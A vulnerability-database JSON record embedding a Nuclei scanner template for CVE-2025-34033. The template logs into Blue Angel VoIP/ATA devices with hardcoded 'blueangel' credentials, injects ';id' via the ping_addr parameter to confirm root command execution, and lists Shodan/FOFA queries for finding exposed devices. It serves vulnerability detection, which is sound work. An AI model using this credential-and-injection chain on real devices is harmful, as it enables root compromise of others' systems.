{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-34033/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-34033/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-34033/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-34033/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-34033/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-34033"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-34033"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-34033.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2025-34033\n\ninfo:\n  name: Blue Angel Software Suite (5V Technologies) - OS Command Injection\n  author: princechaddha,ritikchaddha\n  severity: high\n  description: |\n    Blue Angel 5V Technologies Blue Angel Software Suite through 20230920, as used in Analog Telephone Adapter (ATA) and Voice over IP (VoIP) devices, allows remote authenticated attackers to execute arbitrary OS commands as root via shell metacharacters in the ping_addr parameter to webctrl.cgi?action=pingtest_update.\n  impact: |\n    Remote attackers with access to the management interface can authenticate using hardcoded backdoor credentials and execute arbitrary OS commands as root on the embedded Linux device, enabling full system compromise including credential exfiltration, backdoor installation, and network pivoting.\n  remediation: |\n    Change default credentials, block management ports (e.g. 9000), update firmware, and restrict admin access to trusted networks.\n  reference:\n    - https://www.exploit-db.com/exploits/46792\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-34033\n    - http://www.5vtechnologies.com\n  classification:\n    cve-id: CVE-2025-34033\n    epss-score: 0.03873\n    epss-percentile: 0.89803\n    cwe-id: CWE-78\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n  metadata:\n    max-request: 3\n    vendor: 5vtechnologies\n    product: blue_angel_software_suite\n    verified: true\n    fofa-query: 'title=\"Analog Telephone Adapter\" && server=\"mini_httpd\"'\n    shodan-query: 'http.title:\"Analog Telephone Adapter\" http.headers:\"mini_httpd\"'\n  tags: cve,cve2025,rce,cmdi,iot,blueangel,voip,authenticated,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"/cgi-bin/webctrl.cgi?action=index_page\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/webctrl.cgi?action=login_authentication&redirect_action=sysinfo_page&login_username=blueangel&login_password=blueangel&B1=Login\"\n\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - \"Set-Cookie:.*sesskey=sess[a-f0-9]+-blueangel\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session\n        part: header\n        regex:\n          - \"sesskey=[^;\\\\s\\\\r\\\\n]+\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1%3Bid&B1=PING\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"uid=0(root)\"\n\n      - type: word\n        part: body\n        words:\n          - \"round-trip\"\n# digest: 4a0a00473045022072482bb8ebdc829dfbeb0b7c452c00f7ea22347aafe18f0401126fb09f9b8595022100c48aa0e3333e30249843d2d1f29242a3a55c270d14aafb6e70bea25492434562:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-34033"
}